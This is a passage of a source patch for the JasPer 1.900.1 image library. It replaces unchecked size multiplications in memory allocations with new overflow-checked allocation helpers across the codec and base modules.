-	  !(lut16->intabs = jas_malloc(lut16->numinchans *
+	if (!(lut16->clut = jas_alloc2(clutsize, sizeof(jas_iccuint16_t))) ||
+	  !(lut16->intabsbuf = jas_alloc3(lut16->numinchans,
+	  lut16->numintabents, sizeof(jas_iccuint16_t))) ||
+	  !(lut16->intabs = jas_alloc2(lut16->numinchans,
 	  sizeof(jas_iccuint16_t *))))
 		goto error;
 	for (i = 0; i < lut16->numinchans; ++i)
 		lut16->intabs[i] = &lut16->intabsbuf[i * lut16->numintabents];
-	if (!(lut16->outtabsbuf = jas_malloc(lut16->numoutchans *
-	  lut16->numouttabents * sizeof(jas_iccuint16_t))) ||
-	  !(lut16->outtabs = jas_malloc(lut16->numoutchans *
+	if (!(lut16->outtabsbuf = jas_alloc3(lut16->numoutchans,
+	  lut16->numouttabents, sizeof(jas_iccuint16_t))) ||
+	  !(lut16->outtabs = jas_alloc2(lut16->numoutchans,
 	  sizeof(jas_iccuint16_t *))))
 		goto error;
 	for (i = 0; i < lut16->numoutchans; ++i)
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_image.c jasper-1.900.1/src/libjasper/base/jas_image.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_image.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_image.c	2009-10-22 10:27:45.000000000 +0200
@@ -142,7 +142,7 @@ jas_image_t *jas_image_create(int numcmp
 	image->inmem_ = true;
 
 	/* Allocate memory for the per-component information. */
-	if (!(image->cmpts_ = jas_malloc(image->maxcmpts_ *
+	if (!(image->cmpts_ = jas_alloc2(image->maxcmpts_,
 	  sizeof(jas_image_cmpt_t *)))) {
 		jas_image_destroy(image);
 		return 0;
@@ -774,8 +774,7 @@ static int jas_image_growcmpts(jas_image
 	jas_image_cmpt_t **newcmpts;
 	int cmptno;
 
-	newcmpts = (!image->cmpts_) ? jas_malloc(maxcmpts * sizeof(jas_image_cmpt_t *)) :
-	  jas_realloc(image->cmpts_, maxcmpts * sizeof(jas_image_cmpt_t *));
+	newcmpts = jas_realloc2(image->cmpts_, maxcmpts, sizeof(jas_image_cmpt_t *));
 	if (!newcmpts) {
 		return -1;
 	}
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_malloc.c jasper-1.900.1/src/libjasper/base/jas_malloc.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_malloc.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_malloc.c	2009-10-22 10:27:45.000000000 +0200
@@ -76,6 +76,9 @@
 
 /* We need the prototype for memset. */
 #include <string.h>
+#include <limits.h>
+#include <errno.h>
+#include <stdint.h>
 
 #include "jasper/jas_malloc.h"
 
@@ -113,18 +116,50 @@ void jas_free(void *ptr)
 
 void *jas_realloc(void *ptr, size_t size)
 {
-	return realloc(ptr, size);
+	return ptr ? realloc(ptr, size) : malloc(size);
 }
 
-void *jas_calloc(size_t nmemb, size_t size)
+void *jas_realloc2(void *ptr, size_t nmemb, size_t size)
+{
+	if (!ptr)
+		return jas_alloc2(nmemb, size);
+	if (nmemb && SIZE_MAX / nmemb < size) {
+		errno = ENOMEM;
+		return NULL;
+	}
+	return jas_realloc(ptr, nmemb * size);
+
+}
+
+void *jas_alloc2(size_t nmemb, size_t size)
+{
+	if (nmemb && SIZE_MAX / nmemb < size) {
+		errno = ENOMEM;
+		return NULL;
+	}
+
+	return jas_malloc(nmemb * size);
+}
+
+void *jas_alloc3(size_t a, size_t b, size_t c)
 {
-	void *ptr;
 	size_t n;
-	n = nmemb * size;
-	if (!(ptr = jas_malloc(n * sizeof(char)))) {
-		return 0;
+
+	if (a && SIZE_MAX / a < b) {
+		errno = ENOMEM;
+		return NULL;
 	}
-	memset(ptr, 0, n);
+
+	return jas_alloc2(a*b, c);
+}
+
+void *jas_calloc(size_t nmemb, size_t size)
+{
+	void *ptr;
+
+	ptr = jas_alloc2(nmemb, size);
+	if (ptr)
+		memset(ptr, 0, nmemb*size);
 	return ptr;
 }
 
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_seq.c jasper-1.900.1/src/libjasper/base/jas_seq.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_seq.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_seq.c	2009-10-22 10:27:45.000000000 +0200
@@ -114,7 +114,7 @@ jas_matrix_t *jas_matrix_create(int numr
 	matrix->datasize_ = numrows * numcols;
 
 	if (matrix->maxrows_ > 0) {
-		if (!(matrix->rows_ = jas_malloc(matrix->maxrows_ *
+		if (!(matrix->rows_ = jas_alloc2(matrix->maxrows_,
 		  sizeof(jas_seqent_t *)))) {
 			jas_matrix_destroy(matrix);
 			return 0;
@@ -122,7 +122,7 @@ jas_matrix_t *jas_matrix_create(int numr
 	}
 
 	if (matrix->datasize_ > 0) {
-		if (!(matrix->data_ = jas_malloc(matrix->datasize_ *
+		if (!(matrix->data_ = jas_alloc2(matrix->datasize_,
 		  sizeof(jas_seqent_t)))) {
 			jas_matrix_destroy(matrix);
 			return 0;
@@ -220,7 +220,7 @@ void jas_matrix_bindsub(jas_matrix_t *ma
 	mat0->numrows_ = r1 - r0 + 1;
 	mat0->numcols_ = c1 - c0 + 1;
 	mat0->maxrows_ = mat0->numrows_;
-	mat0->rows_ = jas_malloc(mat0->maxrows_ * sizeof(jas_seqent_t *));
+	mat0->rows_ = jas_alloc2(mat0->maxrows_, sizeof(jas_seqent_t *));
 	for (i = 0; i < mat0->numrows_; ++i) {
 		mat0->rows_[i] = mat1->rows_[r0 + i] + c0;
 	}
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_stream.c jasper-1.900.1/src/libjasper/base/jas_stream.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_stream.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_stream.c	2009-10-22 10:27:45.000000000 +0200
@@ -212,7 +212,7 @@ jas_stream_t *jas_stream_memopen(char *b
 	if (buf) {
 		obj->buf_ = (unsigned char *) buf;
 	} else {
-		obj->buf_ = jas_malloc(obj->bufsize_ * sizeof(char));
+		obj->buf_ = jas_malloc(obj->bufsize_);
 		obj->myalloc_ = 1;
 	}
 	if (!obj->buf_) {
@@ -992,7 +992,7 @@ static int mem_resize(jas_stream_memobj_
 	unsigned char *buf;
 
 	assert(m->buf_);
-	if (!(buf = jas_realloc(m->buf_, bufsize * sizeof(unsigned char)))) {
+	if (!(buf = jas_realloc(m->buf_, bufsize))) {
 		return -1;
 	}
 	m->buf_ = buf;
diff -pruN jasper-1.900.1.orig/src/libjasper/bmp/bmp_dec.c jasper-1.900.1/src/libjasper/bmp/bmp_dec.c
--- jasper-1.900.1.orig/src/libjasper/bmp/bmp_dec.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/bmp/bmp_dec.c	2009-10-22 10:27:45.000000000 +0200
@@ -283,7 +283,7 @@ static bmp_info_t *bmp_getinfo(jas_strea
 	}
 
 	if (info->numcolors > 0) {
-		if (!(info->palents = jas_malloc(info->numcolors *
+		if (!(info->palents = jas_alloc2(info->numcolors,
 		  sizeof(bmp_palent_t)))) {
 			bmp_info_destroy(info);
 			return 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/include/jasper/jas_malloc.h jasper-1.900.1/src/libjasper/include/jasper/jas_malloc.h
--- jasper-1.900.1.orig/src/libjasper/include/jasper/jas_malloc.h	2007-01-19 22:43:04.000000000 +0100
+++ jasper-1.900.1/src/libjasper/include/jasper/jas_malloc.h	2009-10-22 10:27:45.000000000 +0200
@@ -95,6 +95,9 @@ extern "C" {
 #define	jas_free	MEMFREE
 #define	jas_realloc	MEMREALLOC
 #define	jas_calloc	MEMCALLOC
+#define jas_alloc2(a, b)	MEMALLOC((a)*(b))
+#define jas_alloc3(a, b, c)	MEMALLOC((a)*(b)*(c))
+#define jas_realloc2(p, a, b)	MEMREALLOC((p), (a)*(b))
 #endif
 
 /******************************************************************************\
@@ -115,6 +118,12 @@ void *jas_realloc(void *ptr, size_t size
 /* Allocate a block of memory and initialize the contents to zero. */
 void *jas_calloc(size_t nmemb, size_t size);
 
+/* size-checked double allocation .*/
+void *jas_alloc2(size_t, size_t);
+
+void *jas_alloc3(size_t, size_t, size_t);
+
+void *jas_realloc2(void *, size_t, size_t);
 #endif
 
 #ifdef __cplusplus
diff -pruN jasper-1.900.1.orig/src/libjasper/jp2/jp2_cod.c jasper-1.900.1/src/libjasper/jp2/jp2_cod.c
--- jasper-1.900.1.orig/src/libjasper/jp2/jp2_cod.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jp2/jp2_cod.c	2009-10-22 10:30:24.000000000 +0200
@@ -247,7 +247,7 @@ jp2_box_t *jp2_box_get(jas_stream_t *in)
 	box = 0;
 	tmpstream = 0;
 
-	if (!(box = jas_malloc(sizeof(jp2_box_t)))) {
+	if (!(box = jas_calloc(1, sizeof(jp2_box_t)))) {
 		goto error;
 	}
 	box->ops = &jp2_boxinfo_unk.ops;
@@ -372,7 +372,7 @@ static int jp2_bpcc_getdata(jp2_box_t *b
 	jp2_bpcc_t *bpcc = &box->data.bpcc;
 	unsigned int i;
 	bpcc->numcmpts = box->datalen;
-	if (!(bpcc->bpcs = jas_malloc(bpcc->numcmpts * sizeof(uint_fast8_t)))) {
+	if (!(bpcc->bpcs = jas_alloc2(bpcc->numcmpts, sizeof(uint_fast8_t)))) {
 		return -1;
 	}
 	for (i = 0; i < bpcc->numcmpts; ++i) {
@@ -416,7 +416,7 @@ static int jp2_colr_getdata(jp2_box_t *b
 		break;
 	case JP2_COLR_ICC:
 		colr->iccplen = box->datalen - 3;
-		if (!(colr->iccp = jas_malloc(colr->iccplen * sizeof(uint_fast8_t)))) {
+		if (!(colr->iccp = jas_alloc2(colr->iccplen, sizeof(uint_fast8_t)))) {
 			return -1;
 		}
 		if (jas_stream_read(in, colr->iccp, colr->iccplen) != colr->iccplen) {
@@ -453,7 +453,7 @@ static int jp2_cdef_getdata(jp2_box_t *b
 	if (jp2_getuint16(in, &cdef->numchans)) {
 		return -1;
 	}
-	if (!(cdef->ents = jas_malloc(cdef->numchans * sizeof(jp2_cdefchan_t)))) {
+	if (!(cdef->ents = jas_alloc2(cdef->numchans, sizeof(jp2_cdefchan_t)))) {
 		return -1;
 	}
 	for (channo = 0; channo < cdef->numchans; ++channo) {
@@ -766,7 +766,7 @@ static int jp2_cmap_getdata(jp2_box_t *b
 	unsigned int i;
 
 	cmap->numchans = (box->datalen) / 4;
-	if (!(cmap->ents = jas_malloc(cmap->numchans * sizeof(jp2_cmapent_t)))) {
+	if (!(cmap->ents = jas_alloc2(cmap->numchans, sizeof(jp2_cmapent_t)))) {
 		return -1;
 	}
 	for (i = 0; i < cmap->numchans; ++i) {
@@ -828,10 +828,10 @@ static int jp2_pclr_getdata(jp2_box_t *b
 		return -1;
 	}
 	lutsize = pclr->numlutents * pclr->numchans;
-	if (!(pclr->lutdata = jas_malloc(lutsize * sizeof(int_fast32_t)))) {
+	if (!(pclr->lutdata = jas_alloc2(lutsize, sizeof(int_fast32_t)))) {
 		return -1;
 	}
-	if (!(pclr->bpc = jas_malloc(pclr->numchans * sizeof(uint_fast8_t)))) {
+	if (!(pclr->bpc = jas_alloc2(pclr->numchans, sizeof(uint_fast8_t)))) {
 		return -1;
 	}
 	for (i = 0; i < pclr->numchans; ++i) {
diff -pruN jasper-1.900.1.orig/src/libjasper/jp2/jp2_dec.c jasper-1.900.1/src/libjasper/jp2/jp2_dec.c
--- jasper-1.900.1.orig/src/libjasper/jp2/jp2_dec.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jp2/jp2_dec.c	2009-10-22 10:27:45.000000000 +0200
@@ -336,7 +336,7 @@ jas_image_t *jp2_decode(jas_stream_t *in
 	}
 
 	/* Allocate space for the channel-number to component-number LUT. */
-	if (!(dec->chantocmptlut = jas_malloc(dec->numchans * sizeof(uint_fast16_t)))) {
+	if (!(dec->chantocmptlut = jas_alloc2(dec->numchans, sizeof(uint_fast16_t)))) {
 		jas_eprintf("error: no memory\n");
 		goto error;
 	}
@@ -354,7 +354,7 @@ jas_image_t *jp2_decode(jas_stream_t *in
 			if (cmapent->map == JP2_CMAP_DIRECT) {
 				dec->chantocmptlut[channo] = channo;
 			} else if (cmapent->map == JP2_CMAP_PALETTE) {
-				lutents = jas_malloc(pclrd->numlutents * sizeof(int_fast32_t));
+				lutents = jas_alloc2(pclrd->numlutents, sizeof(int_fast32_t));
 				for (i = 0; i < pclrd->numlutents; ++i) {
 					lutents[i] = pclrd->lutdata[cmapent->pcol + i * pclrd->numchans];
 				}
diff -pruN jasper-1.900.1.orig/src/libjasper/jp2/jp2_enc.c jasper-1.900.1/src/libjasper/jp2/jp2_enc.c
--- jasper-1.900.1.orig/src/libjasper/jp2/jp2_enc.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jp2/jp2_enc.c	2009-10-22 10:27:45.000000000 +0200
@@ -191,7 +191,7 @@ int sgnd;
 		}
 		bpcc = &box->data.bpcc;
 		bpcc->numcmpts = jas_image_numcmpts(image);
-		if (!(bpcc->bpcs = jas_malloc(bpcc->numcmpts *
+		if (!(bpcc->bpcs = jas_alloc2(bpcc->numcmpts,
 		  sizeof(uint_fast8_t)))) {
 			goto error;
 		}
@@ -285,7 +285,7 @@ int sgnd;
 		}
 		cdef = &box->data.cdef;
 		cdef->numchans = jas_image_numcmpts(image);
-		cdef->ents = jas_malloc(cdef->numchans * sizeof(jp2_cdefchan_t));
+		cdef->ents = jas_alloc2(cdef->numchans, sizeof(jp2_cdefchan_t));
 		for (i = 0; i < jas_image_numcmpts(image); ++i) {
 			cdefchanent = &cdef->ents[i];
 			cdefchanent->channo = i;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_cs.c jasper-1.900.1/src/libjasper/jpc/jpc_cs.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_cs.c	2009-10-22 09:58:16.000000000 +0200
+++ jasper-1.900.1/src/libjasper/jpc/jpc_cs.c	2009-10-22 10:27:45.000000000 +0200
@@ -502,7 +502,7 @@ static int jpc_siz_getparms(jpc_ms_t *ms
 	  !siz->tileheight || !siz->numcomps) {
 		return -1;
 	}
-	if (!(siz->comps = jas_malloc(siz->numcomps * sizeof(jpc_sizcomp_t)))) {
+	if (!(siz->comps = jas_alloc2(siz->numcomps, sizeof(jpc_sizcomp_t)))) {
 		return -1;
 	}
 	for (i = 0; i < siz->numcomps; ++i) {
@@ -986,7 +986,7 @@ static int jpc_qcx_getcompparms(jpc_qcxc
 		jpc_qcx_destroycompparms(compparms);
                 return -1;
         } else if (compparms->numstepsizes > 0) {
-		compparms->stepsizes = jas_malloc(compparms->numstepsizes *
+		compparms->stepsizes = jas_alloc2(compparms->numstepsizes,
 		  sizeof(uint_fast16_t));
 		assert(compparms->stepsizes);
 		for (i = 0; i < compparms->numstepsizes; ++i) {
@@ -1094,7 +1094,7 @@ static int jpc_ppm_getparms(jpc_ms_t *ms
 
 	ppm->len = ms->len - 1;
 	if (ppm->len > 0) {
-		if (!(ppm->data = jas_malloc(ppm->len * sizeof(unsigned char)))) {
+		if (!(ppm->data = jas_malloc(ppm->len))) {
 			goto error;
 		}
 		if (JAS_CAST(uint, jas_stream_read(in, ppm->data, ppm->len)) != ppm->len) {
@@ -1163,7 +1163,7 @@ static int jpc_ppt_getparms(jpc_ms_t *ms
 	}
 	ppt->len = ms->len - 1;
 	if (ppt->len > 0) {
-		if (!(ppt->data = jas_malloc(ppt->len * sizeof(unsigned char)))) {
+		if (!(ppt->data = jas_malloc(ppt->len))) {
 			goto error;
 		}
 		if (jas_stream_read(in, (char *) ppt->data, ppt->len) != JAS_CAST(int, ppt->len)) {
@@ -1226,7 +1226,7 @@ static int jpc_poc_getparms(jpc_ms_t *ms
 	uint_fast8_t tmp;
 	poc->numpchgs = (cstate->numcomps > 256) ? (ms->len / 9) :
 	  (ms->len / 7);
-	if (!(poc->pchgs = jas_malloc(poc->numpchgs * sizeof(jpc_pocpchg_t)))) {
+	if (!(poc->pchgs = jas_alloc2(poc->numpchgs, sizeof(jpc_pocpchg_t)))) {
 		goto error;
 	}
 	for (pchgno = 0, pchg = poc->pchgs; pchgno < poc->numpchgs; ++pchgno,
@@ -1331,7 +1331,7 @@ static int jpc_crg_getparms(jpc_ms_t *ms
 	jpc_crgcomp_t *comp;
 	uint_fast16_t compno;
 	crg->numcomps = cstate->numcomps;
-	if (!(crg->comps = jas_malloc(cstate->numcomps * sizeof(uint_fast16_t)))) {
+	if (!(crg->comps = jas_alloc2(cstate->numcomps, sizeof(uint_fast16_t)))) {
 		return -1;
 	}
 	for (compno = 0, comp = crg->comps; compno < cstate->numcomps;
@@ -1470,7 +1470,7 @@ static int jpc_unk_getparms(jpc_ms_t *ms
 	cstate = 0;
 
 	if (ms->len > 0) {
-		if (!(unk->data = jas_malloc(ms->len * sizeof(unsigned char)))) {
+		if (!(unk->data = jas_malloc(ms->len))) {
 			return -1;
 		}
 		if (jas_stream_read(in, (char *) unk->data, ms->len) != JAS_CAST(int, ms->len)) {
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_dec.c jasper-1.900.1/src/libjasper/jpc/jpc_dec.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_dec.c	2009-10-22 09:58:16.000000000 +0200
+++ jasper-1.900.1/src/libjasper/jpc/jpc_dec.c	2009-10-22 10:30:50.000000000 +0200
@@ -449,7 +449,7 @@ static int jpc_dec_process_sot(jpc_dec_t
 
 	if (dec->state == JPC_MH) {
 
-		compinfos = jas_malloc(dec->numcomps * sizeof(jas_image_cmptparm_t));
+		compinfos = jas_alloc2(dec->numcomps, sizeof(jas_image_cmptparm_t));
 		assert(compinfos);
 		for (cmptno = 0, cmpt = dec->cmpts, compinfo = compinfos;
 		  cmptno < dec->numcomps; ++cmptno, ++cmpt, ++compinfo) {
@@ -692,7 +692,7 @@ static int jpc_dec_tileinit(jpc_dec_t *d
 			tile->realmode = 1;
 		}
 		tcomp->numrlvls = ccp->numrlvls;
-		if (!(tcomp->rlvls = jas_malloc(tcomp->numrlvls *
+		if (!(tcomp->rlvls = jas_alloc2(tcomp->numrlvls,
 		  sizeof(jpc_dec_rlvl_t)))) {
 			return -1;
 		}
@@ -764,7 +764,7 @@ rlvl->bands = 0;
 			  rlvl->cbgheightexpn);
 
 			rlvl->numbands = (!rlvlno) ? 1 : 3;
-			if (!(rlvl->bands = jas_malloc(rlvl->numbands *
+			if (!(rlvl->bands = jas_alloc2(rlvl->numbands,
 			  sizeof(jpc_dec_band_t)))) {
 				return -1;
 			}
@@ -797,7 +797,7 @@ rlvl->bands = 0;
 
 				assert(rlvl->numprcs);
 
-				if (!(band->prcs = jas_malloc(rlvl->numprcs * sizeof(jpc_dec_prc_t)))) {
+				if (!(band->prcs = jas_alloc2(rlvl->numprcs, sizeof(jpc_dec_prc_t)))) {
 					return -1;
 				}
 
@@ -834,7 +834,7 @@ rlvl->bands = 0;
 			if (!(prc->numimsbstagtree = jpc_tagtree_create(prc->numhcblks, prc->numvcblks))) {
 				return -1;
 			}
-			if (!(prc->cblks = jas_malloc(prc->numcblks * sizeof(jpc_dec_cblk_t)))) {
+			if (!(prc->cblks = jas_alloc2(prc->numcblks, sizeof(jpc_dec_cblk_t)))) {
 				return -1;
 			}
 
@@ -1181,7 +1181,7 @@ static int jpc_dec_process_siz(jpc_dec_t
 		return -1;
 	}
 
-	if (!(dec->cmpts = jas_malloc(dec->numcomps * sizeof(jpc_dec_cmpt_t)))) {
+	if (!(dec->cmpts = jas_alloc2(dec->numcomps, sizeof(jpc_dec_cmpt_t)))) {
 		return -1;
 	}
 
@@ -1204,7 +1204,7 @@ static int jpc_dec_process_siz(jpc_dec_t
 	dec->numhtiles = JPC_CEILDIV(dec->xend - dec->tilexoff, dec->tilewidth);
 	dec->numvtiles = JPC_CEILDIV(dec->yend - dec->tileyoff, dec->tileheight);
 	dec->numtiles = dec->numhtiles * dec->numvtiles;
-	if (!(dec->tiles = jas_malloc(dec->numtiles * sizeof(jpc_dec_tile_t)))) {
+	if (!(dec->tiles = jas_calloc(dec->numtiles, sizeof(jpc_dec_tile_t)))) {
 		return -1;
 	}
 
@@ -1228,7 +1228,7 @@ static int jpc_dec_process_siz(jpc_dec_t
 		tile->pkthdrstreampos = 0;
 		tile->pptstab = 0;
 		tile->cp = 0;
-		if (!(tile->tcomps = jas_malloc(dec->numcomps *
+		if (!(tile->tcomps = jas_calloc(dec->numcomps,
 		  sizeof(jpc_dec_tcomp_t)))) {
 			return -1;
 		}
@@ -1489,7 +1489,7 @@ static jpc_dec_cp_t *jpc_dec_cp_create(u
 	cp->numlyrs = 0;
 	cp->mctid = 0;
 	cp->csty = 0;
-	if (!(cp->ccps = jas_malloc(cp->numcomps * sizeof(jpc_dec_ccp_t)))) {
+	if (!(cp->ccps = jas_alloc2(cp->numcomps, sizeof(jpc_dec_ccp_t)))) {
 		return 0;
 	}
 	if (!(cp->pchglist = jpc_pchglist_create())) {
@@ -2048,7 +2048,7 @@ jpc_streamlist_t *jpc_streamlist_create(
 	}
 	streamlist->numstreams = 0;
 	streamlist->maxstreams = 100;
-	if (!(streamlist->streams = jas_malloc(streamlist->maxstreams *
+	if (!(streamlist->streams = jas_alloc2(streamlist->maxstreams,
 	  sizeof(jas_stream_t *)))) {
 		jas_free(streamlist);
 		return 0;
@@ -2068,8 +2068,8 @@ int jpc_streamlist_insert(jpc_streamlist
 	/* Grow the array of streams if necessary. */
 	if (streamlist->numstreams >= streamlist->maxstreams) {
 		newmaxstreams = streamlist->maxstreams + 1024;
-		if (!(newstreams = jas_realloc(streamlist->streams,
-		  (newmaxstreams + 1024) * sizeof(jas_stream_t *)))) {
+		if (!(newstreams = jas_realloc2(streamlist->streams,
+		  (newmaxstreams + 1024), sizeof(jas_stream_t *)))) {
 			return -1;
 		}
 		for (i = streamlist->numstreams; i < streamlist->maxstreams; ++i) {
@@ -2155,8 +2155,7 @@ int jpc_ppxstab_grow(jpc_ppxstab_t *tab,
 {
 	jpc_ppxstabent_t **newents;
 	if (tab->maxents < maxents) {
-		newents = (tab->ents) ? jas_realloc(tab->ents, maxents *
-		  sizeof(jpc_ppxstabent_t *)) : jas_malloc(maxents * sizeof(jpc_ppxstabent_t *));
+		newents = jas_realloc2(tab->ents, maxents, sizeof(jpc_ppxstabent_t *));
 		if (!newents) {
 			return -1;
 		}
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_enc.c jasper-1.900.1/src/libjasper/jpc/jpc_enc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_enc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_enc.c	2009-10-22 10:27:45.000000000 +0200
@@ -403,7 +403,7 @@ static jpc_enc_cp_t *cp_create(char *opt
 		vsteplcm *= jas_image_cmptvstep(image, cmptno);
 	}
 
-	if (!(cp->ccps = jas_malloc(cp->numcmpts * sizeof(jpc_enc_ccp_t)))) {
+	if (!(cp->ccps = jas_alloc2(cp->numcmpts, sizeof(jpc_enc_ccp_t)))) {
 		goto error;
 	}
 	for (cmptno = 0, ccp = cp->ccps; cmptno < JAS_CAST(int, cp->numcmpts); ++cmptno,
@@ -656,7 +656,7 @@ static jpc_enc_cp_t *cp_create(char *opt
 
 	if (ilyrrates && numilyrrates > 0) {
 		tcp->numlyrs = numilyrrates + 1;
-		if (!(tcp->ilyrrates = jas_malloc((tcp->numlyrs - 1) *
+		if (!(tcp->ilyrrates = jas_alloc2((tcp->numlyrs - 1),
 		  sizeof(jpc_fix_t)))) {
 			goto error;
 		}
@@ -940,7 +940,7 @@ startoff = jas_stream_getrwcount(enc->ou
 	siz->tilewidth = cp->tilewidth;
 	siz->tileheight = cp->tileheight;
 	siz->numcomps = cp->numcmpts;
-	siz->comps = jas_malloc(siz->numcomps * sizeof(jpc_sizcomp_t));
+	siz->comps = jas_alloc2(siz->numcomps, sizeof(jpc_sizcomp_t));
 	assert(siz->comps);
 	for (i = 0; i < JAS_CAST(int, cp->numcmpts); ++i) {
 		siz->comps[i].prec = cp->ccps[i].prec;
@@ -977,7 +977,7 @@ startoff = jas_stream_getrwcount(enc->ou
 		return -1;
 	}
 	crg = &enc->mrk->parms.crg;
-	crg->comps = jas_malloc(crg->numcomps * sizeof(jpc_crgcomp_t));
+	crg->comps = jas_alloc2(crg->numcomps, sizeof(jpc_crgcomp_t));
 	if (jpc_putms(enc->out, enc->cstate, enc->mrk)) {
 		jas_eprintf("cannot write CRG marker\n");
 		return -1;
@@ -1955,7 +1955,7 @@ jpc_enc_tile_t *jpc_enc_tile_create(jpc_
 	tile->mctid = cp->tcp.mctid;
 
 	tile->numlyrs = cp->tcp.numlyrs;
-	if (!(tile->lyrsizes = jas_malloc(tile->numlyrs *
+	if (!(tile->lyrsizes = jas_alloc2(tile->numlyrs,
 	  sizeof(uint_fast32_t)))) {
 		goto error;
 	}
@@ -1964,7 +1964,7 @@ jpc_enc_tile_t *jpc_enc_tile_create(jpc_
 	}
 
 	/* Allocate an array for the per-tile-component information. */
-	if (!(tile->tcmpts = jas_malloc(cp->numcmpts * sizeof(jpc_enc_tcmpt_t)))) {
+	if (!(tile->tcmpts = jas_alloc2(cp->numcmpts, sizeof(jpc_enc_tcmpt_t)))) {
 		goto error;
 	}
 	/* Initialize a few members critical for error recovery. */
@@ -2110,7 +2110,7 @@ static jpc_enc_tcmpt_t *tcmpt_create(jpc
 	  jas_seq2d_ystart(tcmpt->data), jas_seq2d_xend(tcmpt->data),
 	  jas_seq2d_yend(tcmpt->data), bandinfos);
 
-	if (!(tcmpt->rlvls = jas_malloc(tcmpt->numrlvls * sizeof(jpc_enc_rlvl_t)))) {
+	if (!(tcmpt->rlvls = jas_alloc2(tcmpt->numrlvls, sizeof(jpc_enc_rlvl_t)))) {
 		goto error;
 	}
 	for (rlvlno = 0, rlvl = tcmpt->rlvls; rlvlno < tcmpt->numrlvls;
@@ -2213,7 +2213,7 @@ static jpc_enc_rlvl_t *rlvl_create(jpc_e
 	rlvl->numvprcs = JPC_FLOORDIVPOW2(brprcbry - tlprctly, rlvl->prcheightexpn);
 	rlvl->numprcs = rlvl->numhprcs * rlvl->numvprcs;
 
-	if (!(rlvl->bands = jas_malloc(rlvl->numbands * sizeof(jpc_enc_band_t)))) {
+	if (!(rlvl->bands = jas_alloc2(rlvl->numbands, sizeof(jpc_enc_band_t)))) {
 		goto error;
 	}
 	for (bandno = 0, band = rlvl->bands; bandno < rlvl->numbands;
@@ -2290,7 +2290,7 @@ if (bandinfo->xstart != bandinfo->xend &
 	band->synweight = bandinfo->synenergywt;
 
 if (band->data) {
-	if (!(band->prcs = jas_malloc(rlvl->numprcs * sizeof(jpc_enc_prc_t)))) {
+	if (!(band->prcs = jas_alloc2(rlvl->numprcs, sizeof(jpc_enc_prc_t)))) {
 		goto error;
 	}
 	for (prcno = 0, prc = band->prcs; prcno < rlvl->numprcs; ++prcno,
@@ -2422,7 +2422,7 @@ if (!rlvlno) {
 			goto error;
 		}
 
-		if (!(prc->cblks = jas_malloc(prc->numcblks * sizeof(jpc_enc_cblk_t)))) {
+		if (!(prc->cblks = jas_alloc2(prc->numcblks, sizeof(jpc_enc_cblk_t)))) {
 			goto error;
 		}
 		for (cblkno = 0, cblk = prc->cblks; cblkno < prc->numcblks;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqdec.c jasper-1.900.1/src/libjasper/jpc/jpc_mqdec.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqdec.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_mqdec.c	2009-10-22 10:27:45.000000000 +0200
@@ -118,7 +118,7 @@ jpc_mqdec_t *jpc_mqdec_create(int maxctx
 	mqdec->in = in;
 	mqdec->maxctxs = maxctxs;
 	/* Allocate memory for the per-context state information. */
-	if (!(mqdec->ctxs = jas_malloc(mqdec->maxctxs * sizeof(jpc_mqstate_t *)))) {
+	if (!(mqdec->ctxs = jas_alloc2(mqdec->maxctxs, sizeof(jpc_mqstate_t *)))) {
 		goto error;
 	}
 	/* Set the current context to the first context. */
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqenc.c jasper-1.900.1/src/libjasper/jpc/jpc_mqenc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqenc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_mqenc.c	2009-10-22 10:27:45.000000000 +0200
@@ -197,7 +197,7 @@ jpc_mqenc_t *jpc_mqenc_create(int maxctx
 	mqenc->maxctxs = maxctxs;
 
 	/* Allocate memory for the per-context state information. */
-	if (!(mqenc->ctxs = jas_malloc(mqenc->maxctxs * sizeof(jpc_mqstate_t *)))) {
+	if (!(mqenc->ctxs = jas_alloc2(mqenc->maxctxs, sizeof(jpc_mqstate_t *)))) {
 		goto error;
 	}
 
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_qmfb.c jasper-1.900.1/src/libjasper/jpc/jpc_qmfb.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_qmfb.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_qmfb.c	2009-10-22 10:27:45.000000000 +0200
@@ -321,7 +321,7 @@ void jpc_qmfb_split_row(jpc_fix_t *a, in
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
